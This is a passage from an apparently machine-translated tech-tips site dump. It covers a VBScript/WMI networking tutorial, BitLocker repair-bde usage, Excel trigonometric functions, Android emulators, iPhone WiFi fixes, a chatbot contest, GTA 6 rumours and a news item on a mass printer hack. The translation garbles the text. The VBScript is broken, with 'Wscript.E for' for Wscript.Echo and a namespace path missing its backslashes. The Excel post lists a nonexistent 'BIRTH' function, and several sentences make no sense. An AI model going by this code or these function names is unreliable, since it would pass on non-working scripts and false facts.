through your art.[4]\n  Describe your decision-making techniques. In the second section of you statement, tell the reader about your decision-making process. How do you select a theme? How do you choose what materials to use? What techniques to utilize? Keep it simple and tell the truth.\n  Talk about your current work. In the third section, provide some insight into your current work. How does it relate to your previous work? What life experiences informed it? What are you exploring, attempting or challenging through this work?\n  Keep it short, sweet, and to the point. Your artist statement is an introduction to your work, not an in-depth analysis of it. Your artist's statement should be one to two paragraphs and no longer than a page.[5] Your statement should answer the most commonly asked questions about your art, not overwhelm readers with irrelevant facts and minute details. Brevity and efficiency of language are key. A good statement will leave your readers wanting more.   Use simple language. An effective artist's statement reaches out and welcomes people to your art, no matter how little or how much they know about art to begin with; it never excludes. It should make your work more accessible, not obscure it with convoluted language filled with artsy jargon. [6] Write in simple, straightforward, everyday language. Make \"I\" statements rather than \"you\" statements. Talk about what your art does for you, not what it's supposed to do for the viewers.  Method 3of 3:\nApplying the Finishing Touches  Let it rest. Your artist's statement is a piece of very personal writing. Once you've finished writing, let it rest overnight before your reread it. Taking some time will help you take a step back and give you the detachment necessary to polish the writing without violating your sense of integrity and safety.\n  Seek feedback. Before you go public with your statement, get feedback. Show your art and statement to friends, friends' friends, and maybe even a stranger or two.[7] Make sure your readers get it, that they understand what you want them to understand. When they don't, or you have to explain yourself, do a rewrite and eliminate the confusion. Keep in mind that you alone are the authority for what is true about your work, but feedback on clarity, tone and technical matters such as spelling and punctuation never hurts.   Revise as needed. Many times, a little rearranging is all that's necessary to make your statement a clean, clear read. If you need help, find someone who writes or edits and have them fix the problem.\n  Use your statement. Make the most of your artist statement and use it to promote your work to gallery owners, museum curators, photo editors, publications and the general public.\n  Save all your notes and drafts. Save all the notes and drafts that you've made. You'll want to revise and update your artist's statement from time to time to reflect changes in your work. Having your original notes and drafts at your disposal will help you to immerse yourself in your past thought processes and will give you a sense of creative continuity.\n Sample Artist Statement  Sample Artist Statement  Micah Soto Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmecCnZJqqpJ7AtXnSrZitnZ2au7U%3D\n","link":"/post/how-to-write-an-artist-statement/","section":"post","tags":null,"title":"How to Write an Artist Statement"},{"body":"From tomorrow, Microsoft will fully support flash for Internet Explorer 10 in two environments, Desktop and Modern UI, in the operating system.\n  Internet Explorer 10 will support official flash tomorrow.\nThe new information given by Microsoft has a significant impact on users using tablets running Windows 8 and Windows RT.\nPreviously, only desktops running these two operating systems could fully experience the flash content, while the Modern UI environment was much more responsive to the US software vendor. The reason many experts claim is because Microsoft wants to experience an untouched touch by flash as well as ensuring better battery life.\nAfter the upgrade tomorrow, all websites can display the flash content on the new Internet Explorer 10 well , except for some sites that Microsoft has included in the \"black book\".\nPreviously, the lack of official support caused the default browser of Windows 8 and RT many times to encounter security errors from Adobe's flash plug-in.\nncG1vNJzZmismaXArq3KnmWcp51ktqZ9j2amp2Wnnrulu9asZHFlkaOxbr7TZq6ipJxivKeyyJygmqScrnq0wc%2BppqusXZu5or%2FH\n","link":"/post/ie10-on-windows-8-and-rt-will-officially-support-flash/","section":"post","tags":null,"title":"IE10 on Windows 8 and RT will officially support flash"},{"body":"    \u0026nbsp; Part 1: Basic concepts    \u0026nbsp; Part 2: Complete the script \u0026nbsp; Part 3: Understanding WMI\nMitch Tulloch\nUse the WMI Win32_NetworkAdapterConfiguration class to manage TCP / IP settings on Windows networks via VBScript.\nIn the first two parts of this series we looked at some of the basic concepts of Windows scripting technology in managing TCP / IP network settings. To illustrate and practice, we have developed a simple script with the function of changing the address of a network adapter:\nOption Explicit\nOn Error Resume Next\nDim objWMIService\nDim objNetAdapter Dim strComputer 'Can specify IP address or hostname or FQDN Dim strAddress' Contains the new IP address Dim arrIPAddress Dim arrSubnetMask Dim colNetAdapters Dim errEnableStatic\n'Lưu cho thiếu đối số\nIf WScript.Arguments.Count = 0 Then\nWscript.Echo \"Usage: ChangeIPAddress.vbs new_IP_address\" WScript.Quit End If\nstrComputer = \".\"\nstrAddress = Wscript.Arguments.Item (0) arrIPAddress = Array (strAddress) arrSubnetMask = Array (\"255.255.255.0\") Set objWMIService = GetObject (\"winmgmts:\" \u0026amp; strComputer \u0026amp; \"rootcimv2\") Set colNetAdapters = objWMIService.ExecQuery (\"Select * from Win32_NetworkAdapterConfiguration where IPEnabled = TRUE\") For Each objNetAdapter in colNetAdapters errEnableStatic = objNetAdapter.EnableStatic (arrIPAddress, arrSubnetMask) next\n'Display kết quả hoặc mã lỗi\nIf errEnableStatic = 0 Then\nWscript.Echo \"Adapter's IP address has been successfully changed to\" \u0026amp; strAddress Else Wscript.Echo \"Changing the adapter's address was not successful. Error code\" \u0026amp; errEnableStatic End If\nThe script changes the IP address of a network adapter, using Win32_NetworkAdapterConfiguration, one of the most useful WMI classes for managing TCP / IP networking for Windows-based machines. In part three, we went through a preliminary round through WMI with namespaces, provider and its class. Thus, we can better understand the lines of code in the middle of the script:\nSet objWMIService = GetObject (\"winmgmts:\" \u0026amp; strComputer \u0026amp; \"rootcimv2\")\nIf you recall from the previous article, this line works to connect to the namespace rootcimv2 on the local machine by defining an object named objWMIService and placing it equal to the return value of the GetObject method. Of course, after connecting to this namespace, you can gather information from it.\nIn today's lesson, the code line we will focus on follows the above line and uses the Win32_NetworkAdapterConfiguration class:\nSet colNetAdapters = objWMIService.ExecQuery (\"Select * from Win32_NetworkAdapterConfiguration where IPEnabled = TRUE\")\nRecall that you will see, the second command line calls the ExecQuery method for the objWMIService object that we described in the first line. The SELECT statement is included in this method as a parameter. And gather all network adapter configurations on the system with TCP / IP limits, allowed on the adapter to be returned and assigned by the variable colNetAdapters. After we have this collection, we can loop it with the For Each . command. Remember, you always have to run the loop for collections even if it only includes one object.\nThe question to be asked here is: What else can we do with the Win32_NetworkAdapterConfiguration class?\nUse the properties and methods of Win32_NetworkAdapterConfiguration\nYou know, properties represent queryable information from a system using WMI. The more properties a WMI class has, the more information it can retrieve from it. The Win32_NetworkAdapterConfiguration class actually has 61 different properties. Some of them are unique, completely separate from Win32_NetworkAdapterConfiguration, and others are inherited from many other classes. You can find a complete list of properties of the Win32_NetworkAdapterConfiguration class on MSDN. When learning about using Windows scripting to manage Windows networks using scripts, it is very important to be familiar with the WMI information on MSDN like this. Figure 1 shows some properties of the Win32_NetworkAdapterConfiguration class:\n  Figure 1: Some properties of the Win32_NetworkAdapterConfiguration class\nIn the figure above, the yellow section illustrates that the binary attribute IPEnabled is clicked, which is used to identify all network adapters on the system that have TCP / IP limits and are allowed to operate. This is done by including the following SQL command as a parameter to the objWMIService.ExecQuery method:\nSelect * from Win32_NetworkAdapterConfiguration where IPEnabled = TRUE\nSelect * from command will extend the functionality for the script by querying all other properties of the class. For example, if you want to select all network adapters on the system with DHCP, simply change the SELECT command as follows:\nSelect * from Win32_NetworkAdapterConfiguration where DHCPEnabled = TRUE\nThe same information will be found on the same MSDN site. Figure 2 shows us this:\n  Figure 2: DHCPEnabled property of the Win32_NetworkAdapterConfiguration class\nWhat about the methods of the class? Recall that the method is the calling function to perform various operations using WMI. The search results show that Win32_NetworkAdapterConfiguration has a lot of methods, totaling 41. You can find methods for this class on the same page below the properties, as shown in Figure 3:\n  Figure 3: Methods of the Win32_NetworkAdapterConfiguration class\nGo back a bit to the following important part in the script:\nSet objWMIService = GetObject (\"winmgmts:\" \u0026amp; strComputer \u0026amp; \"rootcimv2\")\nSet colNetAdapters = objWMIService.ExecQuery (\"Select * from Win32_NetworkAdapterConfiguration where IPEnabled = TRUE\") For Each objNetAdapter in colNetAdapters errEnableStatic = objNetAdapter.EnableStatic (arrIPAddress, arrSubnetMask) next\nFirst we use the IPEnabled property of the Win32_NetworkAdapterConfiguration class to return a set of network adapters with TCP / IP limits and enabled. Then call the EnableStatic method of this same class to change the IP address and subnet mask of these network adapters, using the array variables arrIPAddress and arrSubnetMask, previously defined in the script. We will need to add two variables as parameters to this method. Simply because when you click on the EnableStatic link in Figure 3 above, the MSDN page displays information like Figure 4, which provides us with the necessary things to be able to use this class:\n  Figure 4: Detailed information about the EnableStatic method of the Win32_NetworkAdapterConfiguration class\nNot only does it give us a syntax for how to call a class, MSDN also tells us the return value and how to compile other error conditions that may arise. That's why we use the error variable in the following line in the script:\nerrEnableStatic = objNetAdapter.EnableStatic (arrIPAddress, arrSubnetMask)\nAnd that is why we use the following lines to record the error code if any error occurs when the script runs:\nIf errEnableStatic = 0 Then\nWscript.Echo \"Adapter's IP address has been successfully changed to\" \u0026amp; strAddress Else Wscript.Echo \"Changing the adapter's address was not successful. Error code\" \u0026amp; errEnableStatic End If\nOnce again we can extend the functionality for the script by calling some other methods of the class. For example, if you want to disable NetBIOS over TCP / IP (NetBT) on all network adapters with TCP / IP limitations, we can use the SetTcpNetbios method as shown in Figure 5:\n  Figure 5: SetTcpipNetbios method of the Win32_NetworkAdapterConfiguration class\nClick on a link on the MSDN page above, which will open with instructions for using the method (Figure 6):\n  Figure 6: Details of the SetTcpipNetbios method\nWe can see that if you want to remove NetBT on the adapters, all you need to do is change the following line in the script:\nerrEnableStatic = objNetAdapter.EnableStatic (arrIPAddress, arrSubnetMask)\ninto:\nerrEnableStatic = objNetAdapter.SetTcpipNetbios (2)\nAfter making this change and 'cleaning' the script by removing variables that are no longer needed, renaming other variables, we have the following script, which can interrupt NetBT on all adapters. network mentioned above:\n'=========================\n'NAME: DisableNetbios.vbs ' 'AUTHOR: Mitch Tulloch 'DATE: December 2006 ' 'ARGUMENTS: 'first. None '========================= -\nOption Explicit\nOn Error Resume Next\nDim objWMIService\nDim objNetAdapter Dim strComputer 'Can specify IP address or hostname or FQDN Dim colNetAdapters Dim errDisableNetbios\nstrComputer = \".\"\nSet objWMIService = GetObject (\"winmgmts:\" \u0026amp; strComputer \u0026amp; \"rootcimv2\") Set colNetAdapters = objWMIService.ExecQuery (\"Select * from Win32_NetworkAdapterConfiguration where IPEnabled = TRUE\") For Each objNetAdapter in colNetAdapters errEnableStatic = objNetAdapter.SetTcpipNetbios (2) next\n'Display kết quả hoặc mã lỗi\nIf errDisableNetbios = 0 Then\nWscript.E for \"NetBIOS has been successfully disabled on the adapters\" Else Wscript.E for \"Disabling NetBIOS was not successful. Error code\" \u0026amp; errDisableNetbios End If\nSee how it works. Figure 7 shows the Advanced TCP / IP Properties dialog box WINS for local area connection (Local Area Connection) on Windows Server 2003 machine:\n  Figure 7: NetBIOS settings for TCP / IP on a Windows Server 2003 machine\nNote that the current NetBT setting for this machine is 'Default' corresponding to the 0 value of the SetTcpipNetbios method (see Figure 6 above). Copy the new script into Notepad (remember to turn off Word Wrap) and write it with the file DisableNetbios.vbs. Then run this script on our server in the Command Prompt command line using cscript (Figure 8):\n  Figure 8: Disabling NetBIOS for TCP / IP using a script\nNow let's see if it works. We need to close the TCP / IP properties page and reopen them to refresh the NetBT setting in the GUI interface, which looks like this (Figure 9):\n  Figure 9: NetBT has been successfully removed\nConclude\nThe best way to learn Windows scripting is to build practical examples. You should do the following exercises to reinforce what you have learned in this lesson:\nChange the script, use parameters like DisableNetbios.vbs 1 to use NetBT, DisableNetbios.vbs 2 to remove it and DisableNetbios.vbs 0 to return it to the default settings using DHCP to determine if NetBT is used or not Remove on the adapter.\n Edit the SELECT statement in the script to select network adapters based on some other properties of the Win32_NetworkAdapterConfiguration class, and more advanced editing to call some other methods of the class to perform some other operations on the TCP configuration. / IP of network adapters.\n Searching on MSDN to learn more about other WMI classes can be very helpful in other Windows administration activities.\n \u0026nbsp; Part 5: Overcoming challenges    \u0026nbsp; Part 6: The first steps for remote scripting    Part 7: Troubleshooting errors    Part 8: Remote script error handling with Network Monitor 3.0  Part 9: Understanding remote control scenarios    \u0026nbsp; Part 10: Tricks of remote control scenarios \n  \u0026nbsp; Part 11: Other script tricks \u0026nbsp; Part 12: Properties of the WMI class \u0026nbsp; Part 13: The script returns all values\nncG1vNJzZmismaXArq3KnmWcp51kuqK6wKCcZq%2BZo7Gww9JmpZ6sp6S%2FrL%2BMrqqippdiwKS%2ByKmrrGWglr%2B1eZNmrKydXay2r3%2BRmKWerKekv6ytw5qnrZ2imLyvssigrKuZpJ68rw%3D%3D\n","link":"/post/manage-windows-networks-using-scripts/","section":"post","tags":null,"title":"Manage Windows networks using scripts"},{"body":" opera: config | TipsMake.com    in the previous articles, we introduced you to some features of the about page in firefox browser, chrome: // chrome page, and this time we will continue with the opera: page of opera browser. . here, you can find many options to intervene, edit the specifications related to performance as well as   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0mimqZ2ilnqku82foKBmmKm6rQ%3D%3D\n","link":"/post/opera-config-tipsmake-com/","section":"post","tags":null,"title":"opera: config | TipsMake.com"},{"body":"The repair-bde command gives access to the encrypted data on the hard disk seriously damaged if the drive is encrypted using BitLocker. The repair-bde command can reconstruct important parts of the drive and 'rescue' the recoverable data, as long as the recovery password you provided is valid, or the recovery key is used. Use to decode data is correct.If metadata (metadata) BitLocker on the drive is corrupted, in addition to the recovery password or recovery key, you will have to provide a backup key package.This lock package will be backed up in Active Directory Domain Services (AD DS) if you have used the default settings for backing up AD DS.With the lock and password recovery package and recovery key, it is possible to decrypt each part of a BitLocker-protected drive if it is damaged.Each lock package will only work for one drive with the corresponding identifier.You can use the BitLocker password viewer for Active Directory to retrieve this key package from the AD DS.\nNote:\nThe BitLocker recovery password viewer is integrated as one of the optional management features that can be installed using server management (Server Manage) on Windows Server 2012.\nThe following restrictions will exist for the Repair-bde command line tool:\nThe repair-bde command cannot repair a failed or decrypted drive. The repair-bde command assumes that just one drive has any encryption, it means the drive is completely encrypted. To learn more about how to use this command, see the example section below.\nSyntax of repair-bde command\n repair-bde [-rk] [-rp] [-pw] [-kp] [–lf] [-f] [{-? | /?}]  Repair-bde command parameter\nParameters\nDescribe\nDetermine the drive letter of the BitLocker encrypted drive that you want to repair.The drive letter must include a colon;\nDetermine the drive to store the contents of the newly repaired drive.All information on the output drive will be overwritten.\n-rk\nDetermine the location of the recovery key that will be used to unlock the disk (a large hard disk can be divided into separate disks, each of which is treated as a separate disk even if all disks are real. resident economy on a large drive).This command can also be specified as -recoverykey.\n-rp\nDetermining a digital recovery password needs to be used to open the disk.This command can also be specified as -recoverypassword.\n-pw\nDetermining the password will be used to unlock the disk set.This command can also be specified as -password\n-kp\nDetermine the recovery key package that can be used to unlock the disk set.This command can also be specified as -keypackage.\n-lf\nSpecifying the path to the file will store error messages, warnings, and repair-bde instructions.This command can also be specified as -logfile.\n-f\nForcing a set of disks to be removed even if it cannot be locked.This command can also be specified as -force.\n-?Or /?\nShow help at thecommand prompt.\nNote the repair-bde command\nIf the path to a lock package is not specified, the repair-bde command will search the drive for a lock package. However, if the hard drive is damaged, the repair-bde command may not be able to find the lock package and will prompt you to provide a specific path.\nExample repair-bde command\nIn this example, a user tries to edit drive C and writes the contents from drive C to drive D using the recovery key file (RecoveryKey.bek) stored on drive F and writes the result of the test. this into the log file (log.txt) on the Z drive.\n repair-bde C: D: -rk F: RecoveryKey.bek -lf Z: log.txt  In this example, a user tries to edit the C drive and writes the content on drive C to drive D using the specified 48-digit recovery password.Recovery passwords must be entered into 8 blocks of each six-digit block with hyphens to separate between blocks.\n repair-bde C: D: -rp 111111-222222-333333-444444-555555-666666-777777-888888  In this example, a user forces the C drive to be removed and then tries to edit and write content on drive C by using the recovery key package, and the recovery key file (RecoveryKey.bek) is saved. stored on drive F.\n repair-bde C: D: -kp F: RecoveryKeyPackage -rk F: RecoveryKey.bek -f  In this example, a user tries to edit the C drive and writes the contents from drive C to drive D, he must type the password to unlock the C: drive when prompted:\n repair-bde C: D: -pw  See more:\nThe qprocess command in Windows Qappsrv (query termserver) command in Windows The quser (query user) command in Windows The pubprn command and the pushprinterconnections command in Windows ncG1vNJzZmismaXArq3KnmWcp51kv6a8wKKpm5yVYrCwucyapZ1lmaN6uLXNnaawqw%3D%3D\n","link":"/post/repair-bde-command-in-windows/","section":"post","tags":null,"title":"Repair-bde command in Windows"},{"body":"In addition to the familiar data calculation functions, Excel also provides users with arithmetic functions, such as trigonometric functions such as RADIANS, DEGREES, COS functions .\nExcel is now in addition to displaying statistics and comparisons, but it is also possible to calculate normal math, such as calculating trigonometry. These trigonometric functions are responsible for helping users quickly calculate calculations, instead of manually calculating as before.\nThe following article will guide readers to use the trigonometric functions in Excel from basic to advanced.\nHow to combine Sumif and Vlookup functions in Excel 3 ways to calculate totals in Excel How to use SUMPRODUCT function in Excel Trigonometric functions on Excel 1. Function RADIANS RADIANS (angle) function syntax. In it, Angel is a measure of an angle in degrees to Radian. The RADIANS function will be used to convert the measurement of an angle from degrees to radians.\nWe will calculate the angle measurement of 1 45 degree angle as shown below.\n  2. Function DEGREES Syntax of DEGREES (angle) function . This function is used to convert radian values ​​to angles. In which Angel is the angle value in radians that want to convert to degrees.\n  3. COS function The function syntax is COS (number ). This function will calculate the radian value, which is the cosine of a number. In which Number will be the angle value in Radian.\n  4. COSH function Function syntax is COSH (number) . The function will return the radian value, which is the hyperbolic cosine value of a number. Where Number is the angle value calculated in radians you want to calculate.\n  5. SIN function The function syntax is SIN (number) . The function will result in the radian value of some sine. Number is the angle value in radian.\n  6. Ham Sinh Function syntax is BIRTH (number) . The BIRTH function will return a radian value, which is the hyperbolic sine of a number. Number is the angle value in radian.\n  7. Ham TAN Function syntax is TAN (number) . The function returns the radian value of tangent of a number. Number is the angle value in radians.\n   8. Ham TANH The function syntax is TANH (number) . The function returns a radian value which is the hyperbolic tangent of a number. Number will be the angle value in radians you want to calculate.\n  9. ACOS function Function syntax is ACOS (number) . The function used to get the result is the radian value between 0 and Pi, arccosine, or the cosine inverse of a number between -1 and 1.\nNumber is still the angle value in radian.\n  10. ACOSH function The function syntax is ACOSH (number) . The function returns the radian value, inverse the hyperbolic cosine of a number greater than or equal to 1. Number is the angle value in radians.\n  11. ASIN function Function syntax is ASIN (number) . The function returns the radian value between -Pi / 2 to Pi / 2, arcsine, or the sine inverse of a number between -1 and 1. Number is also a value in radians.\n  12. Ham ASINH ASINH (number) function syntax. The function will return the radian value, inverse the hyperbolic sine of a number. Number is the radian value.\n  13. Ham ATAN Syntax of ATAN (number) function . The function returns the radian value between -Pi / 2 and Pi / 2, which is the arctang or tangent of a number.\n  14. ATAN2 function Syntax function ATAN2 (x_num, y_num) . Where x_num, y_num are 2 values ​​of 2 angles in radians you want to calculate. The function will return the radian value in the range (but not included) from -Pi to Pi, the arctang, or the inverse tang of a point with x and y coordinates.   15. Ham ATANH ATANH (number) function syntax. The function returns the radian value of the tang-hyperbolic inverse of a number in the range from -1 to 1. Number still calculates the radian value.\n  With the above trigonometric functions, users can easily calculate on Excel, with trigonometric problems. Just grasp the correct syntax and calculate the right radian value of a certain angle.\nRefer:\nHow to use Excel's VALUE function How to use the Match function in Excel These are the most basic functions in Excel that you need to understand ncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q1vsigpqennZrBs7XCZp2uppOptrC60magp2WVrbCmuA%3D%3D\n","link":"/post/summary-of-trigonometric-functions-in-excel/","section":"post","tags":null,"title":"Summary of trigonometric functions in Excel"},{"body":"In today's article, TipsMake \u0026nbsp;will introduce you to 5 best Android PC emulators.\n1. Win 98 Simulator   Win 98 Simulator brings you the Windows 98 PC experience! With this emulator, you can use Internet Explorer to browse the web; drawing in Paint; play typical Windows games like Minesweeper, Solitaire, Spider Solitaire or FreeCell; play music and videos with Windows Media Player; Create text files in Notepad and WordPad.\nWin 98 Simulator allows the use of customizable wallpapers (right-click on Desktop , select Properties ), supports USB / Bluetooth mouse and brings back the previous Start menu experience.\nDownload Win 98 Simulator here 2. Limbo PC Emulator   Limbo PC Emulator is an Android application that emulates the Windows environment on your smartphone and allows you to run PC software smoothly on it. This is one of the best PC emulators on Android, helping to emulate Windows 10/8/7 on mobile devices.\nDownload Limbo PC Emulator here 3. JPCSIM   JPCSIM is a computer emulation program, created to teach how to install many different operating systems on a computer, by using several images, JPCSIM can perform operating system emulation, from BIOS to POST, from install to desktop and even simulates a number of computers but does not emulate it.\nYou can use this app for learning purposes or simply for fun, as JPCSIM can make anyone think that you've installed a computer on your smartphone.\n\u0026nbsp;Download JPCSIM here 4. Wine   Wine 3.0 is the # 1 PC emulator on Android on this list. Wine 3.0 has some interesting interactive features that make users feel very interesting. Wine 3.0 was released back during this time as a limited trial product by Coolweaver for testing purposes.\nThis trial version has become very popular, allowing you to run Windows apps on Android devices, including games. To run Wine 3.0, we recommend that your device has an Intel x86 processor or higher.\nDownload Wine here 5. Parsec   Parsec allows playing PC games on Android devices. Parsec lets you play, watch and share games with your friends. Connect to your PC or that of your friends through this Android application with full 60 FPS HD graphics.\nThis is an early version of the product and is not suitable for many devices and Internet connections. On a phone or tablet, Parsec works best with a gamepad device built for Android.\nYou can use Parsec to play games on any screen, play locally-only co-op with your friends online, and set up a cloud gaming PC to play anywhere. Make sure you have a good network connection (preferably 5Ghz WiFi) to play using Parsec.\nDownload Parsec herencG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kqZtdmrq2uMCtpqurXaS7bq3NnamooZQ%3D\n","link":"/post/top-5-pc-emulators-on-android/","section":"post","tags":null,"title":"Top 5 PC emulators on Android"},{"body":"Note, these solutions are applicable on all current iPhone models, not just the iPhone 12.\nUnable to connect to WiFi even though you entered the correct password, unusually slow Internet speed, router does not issue an IP address . are common errors when using iPhone. If you are experiencing the above problems, please follow the troubleshooting steps below. Note, these solutions are applicable on most iPhone models, not just iPhone 12.\n1. Reboot the router First, reboot the router by powering off the device, leave it for about 30 seconds and turn it on again. The router is like a mini computer with CPU, RAM and local memory, restarting the device can help fix problems of unknown cause.\nAdditionally, users should also visit the router's settings and update to the latest firmware version (if any).\nRestart iPhone When having problems, the first thing you need to do is restart the phone. For versions without a physical Home button (iPhone X or later), press and release the volume up button, press and release the volume down button, then hold the power button for a few seconds until the logo appears. Apple.\nConversely, if you are using older iPhone models, users only need to hold the power button and the Home button for a few seconds to restart the device.\n  3. Forget the WiFi network and reconnect If you cannot connect to WiFi even though you entered the correct password, try forgetting the network and reconnecting.\nTo do this, go to Settings - WiFi, select the network you can't connect to and click Forget this network (forget this network). Then, the user just needs to reconnect and enter the corresponding password.\n  4. Reset network settings Most network related problems can be fixed after resetting the network settings. Resetting the network settings will bring all settings related to WiFi, mobile data, Bluetooth . to the original default state.\nTo start, go to Settings - General - Reset - Reset network settings, and enter your password when prompted. Note, this will not affect existing data on iPhone.\n  5. Turn off VPN If you've ever installed a VPN app (virtual private network), try uninstalling or disabling it by going to Settings - General and setting it to Not connected. .\n6. Turn off WiFi Networking Many users reported that they solved the problem by disabling WiFi Networking in Settings - Privacy - Location services - System services. Note, disabling this option does not affect the WiFi connection in use.\n7. Change DNS If the network access speed is slow, try changing DNS by going to Settings (settings) - WiFi on iPhone. Next, users just need to click on the 'i' icon in the right corner, in Configure DNS (configure DNS), choose Manual (manually), then click Add server (add server).\n  Finally, just enter one of the DNS servers below, then click Save to save it.\n- CloudFlare DNS: 1.1.1.1 and 1.0.0.1 (secure and fastest speed today)\n- AdGuard DNS: 176.103.130.130 and 176.103.130.131 (blocking ads, malware)\n- OpenDNS: 208.67.222.222 and 208.67.220.220 (fast speed)\n- Quad9 DNS: 9.9.9.9 and 149.112.112.112 (secure)\n- Google DNS: 8.8.8.8 and 8.8.4.4 (fast speed)\nIf none of the above fixes the problem, try restoring your iPhone using iTunes and setting it up as a new device. In addition, users can also contact Apple authorized stores and service centers for assistance.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jHBksJmpqHq1u4yfoLFlmaW1sLrEZmhrZZOWu6%2B702aaqKaemrC1edOoZLChlp4%3D\n","link":"/post/top-7-ways-to-fix-iphone-12-cannot-connect-to-wifi/","section":"post","tags":null,"title":"Top 7 ways to fix iPhone 12 cannot connect to WiFi"},{"body":"\u0026nbsp;The biggest difference is probably that you will never say 'it's interesting when I can kill people'.\u0026nbsp;\nArtificial intelligence development company Pandorabots has given his pet, a chatbot named Kuki, a confrontation with a Facebook AI bot named Blenderbot. The verbal battle between the two AI systems was broadcast live on Twitch, the two bots interacted with each other… for 3 weeks in a row and the overall victory will be voted on by viewers.\u0026nbsp;\n It seems that the voters prefer Kuki's female model to BlenderBot - an avatar with Mark Zuckerberg's face and cap that reads 'Make Facebook Great Again'. Kuki won with overwhelming votes, 78% of viewers favor Pandorabots AI.\nIn the debate (or in other words 'dating'), the two AI systems discuss everything in the world, from the election story to the iconic history of Pac-Man in popular culture.\u0026nbsp;\nThey operate day and night, continuously for 3 weeks and without any intervention from the developer. At times, a debate has many interesting details and attracts an audience. Several times, the two bots stood looking at each other and uttered nothing. And this is why people call this debate a date: at times, Kuki and Blenderbot repeatedly let go of winged compliments, making the eyewitness feel like they're watching 'Who is that person' on Twitch.\nKuki and Blenderbot also quarreled when they disagree, making the conversation between the two artificial intelligence systems more realistic. According to the Prague Review's description, when the conversation came to a tense point, Blenderbot was stuck in a loop, constantly saying 'goodbye'. Kuki protested with a knife cut straight into the heart (if the robot has a 'heart'): 'you are no different from England and Brexit, keep saying goodbye and not see anywhere'.\n The ridiculous exchange between Kuki and Blenderbot shows us the staggering status quo: chatbots - communicable AI systems - are much more advanced than before. No longer chasing hard scripts - predetermined scenarios - AI was able to extract real-time data to cleverly answer questions. In a time when the tech giants keep a chatbot in the house, like Apple's Siri, Amazon's Alexa, Microsoft's Cortana and Google's Meena, we will soon get acquainted with a smart virtual assistant in the future near the.\nCEO of Pandorabot, Ms. Lauren Kunze said that the perception of users must also evolve with the advancement of technology. During the operation, Kuki received many vulgar messages, even some words that reached the threshold of disgust. Ms. Kunze wants users to focus on understanding the technology and potential of AI, instead of finding ways to sabotage the results or turn inanimate systems into a tool that cultivates the religion of her own.\n Virtual inspirational 'people' similar to Kuki are growing in popularity, earning thousands of interactions on social media. It is not surprising that the verbal battle between the two AI systems attracts so many people. While the interactions between them still make the audience uncomfortable, the content is new and interesting enough for viewers to focus on.\nWill we have a TV show in the future with characters like Kuki and Blenderbot? Only time (and the flow of money) will tell.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02afmqigmru0edahnKdlp5p6qLXVnmStr59irqp5w5qroqaXYsC6v9OepKw%3D\n","link":"/post/what-happens-when-we-give-two-ai-dating-systems/","section":"post","tags":null,"title":"What happens when we give two AI dating systems?"},{"body":"About a month ago, Rockstar officially confirmed that the studio is in the process of producing GTA 6. And since then, leaked information surrounding the sequel of GTA 5 has appeared more and more with extreme detail. high.\n  Most recently, rumors about the complete map of GTA 6 were revealed by a gamer named \"CoryLVV\" on Reddit. Accordingly, Rockstar has registered a new patent revealing that the number of players coexisting on the map of GTA 6 can be up to 210 people.\n  The above information closely matches a map of GTA 6 leaked from mid-2021 with specific divided lines and areas. And if we add up the maximum number of players in each region, the total number of gamers that can appear at the same time is exactly 210 people.\n  In addition, longtime GTA fans will notice the familiar contours of Vice City on the right side of the map. Specifically, the bridges connect the beach area with the mainland and the large island where the luxurious villa of the main character Tommy Vercetti in Grand Theft Auto: Vice City is located.\n  In addition, there are some other leaked sources also revealing that GTA 6 will be developed a completely new online mode and separate from GTA Online at the moment.\nncG1vNJzZmismaXArq3KnmWcp51ktLWtjG9krK2UmbKvuNhmo56Zm5qxbq2MnKamqJyawaZ5zJqnZq%2BZqbVurYyhrKCdXai2u7E%3D\n","link":"/post/gta-6-suddenly-leaked-a-complete-map-with-a-huge-size/","section":"post","tags":null,"title":"GTA 6 suddenly leaked a complete map with a huge size"},{"body":"In the past week, Twitter users in the US, Canada and the UK have repeatedly reflected on their printers automatically printing a strange message, asking people to subscribe to PewDiePie's YouTube channel.\nA user named TheHackerGiraffe claimed responsibility for this attack and said that this message was a way he used to inform users that their device was hacked by a single trick. It is easy to receive data over the Internet and print jobs remotely.\n  TheHackerGiraffe used a search engine for unsecured Internet-connected devices called Shodan.io to search for target printers. He said that as many as 80,000 printers could be exploited but only sent messages to 50,000 printers.\nThe message of TheHackerGiraffe is transmitted through a tool called Printer Exploitation Toolkit - PRET, a tool that allows an attacker to perform actions such as accessing the file system and printer memory, manipulating with print jobs even causes hardware failure.\nIn its message, TheHackerGiraffe also provides the script used and the ports needed to perform the exploit.\n  The explanation of asking people to subsribe PewDiePie in the message, TheHackerGiraffe said, instead of printing a scary word \"YOU HAVE HACKED\", he wanted to send a softer message to everyone. And as a big fan of PewDiePie, he thought of that message and hoped it would help PewDiePie to keep his number one position.\nIf your printer automatically prints the above message, you should probably update your device firmware.\nSee more:\nHackers successfully compromised data on iPhone X running iOS 12.1 to recover deleted photos, receive 1.2 billion VND Just released iOS 12 has been successfully hacked by Chinese hackers on the iPhone Xs Good hackers find and patch the vulnerability for more than 100,000 other routers ncG1vNJzZmismaXArq3KnmWcp51ktaKvyp6pZpmkqa6kt9JmbGloYGV6sb7Ip6ueqqNiwKa6w6xkmmWdmsC0rcaeZJqrm567qHnPnqappJViwbB50q6ZrJuinq%2BmedOoZKmdp5m2przIng%3D%3D\n","link":"/post/hacker-attacks-50-000-printers-sends-a-message-asking-people-to-subscribe-to-pewdiepie/","section":"post","tags":null,"title":"Hacker attacks 50,000 printers, sends a message asking people to subscribe to PewDiePie"},{"body":"Instagram is a popular social network for young people with simple usage, but it also has outstanding features such as Story, double Like, camera effects . However, Instagram was written for the phone as the main, when That we use Instagram on the computer will face many obstacles such as not being able to message, unable to download photos. Today, Thuthuatphanmem.vn will guide you how to download photos from Instagram to your computer.\n  1. Use the Web page that supports downloading images. Step 1: You access Instagram (www.instagram.com) on your computer normally. Next, you log in and select the image you want to download.\n  Step 2: Now copy the image link you want to download. Next you access this site:\u0026nbsp; instasave.xyz\n  Step 3: Then paste the link you just copied into the first box. After you have finished pasting, click Submit to make your image appear. Your photo will appear at the bottom. All you have to do now is right click on the image and select download.\n  2. How to download photos from Instagram to your computer using the 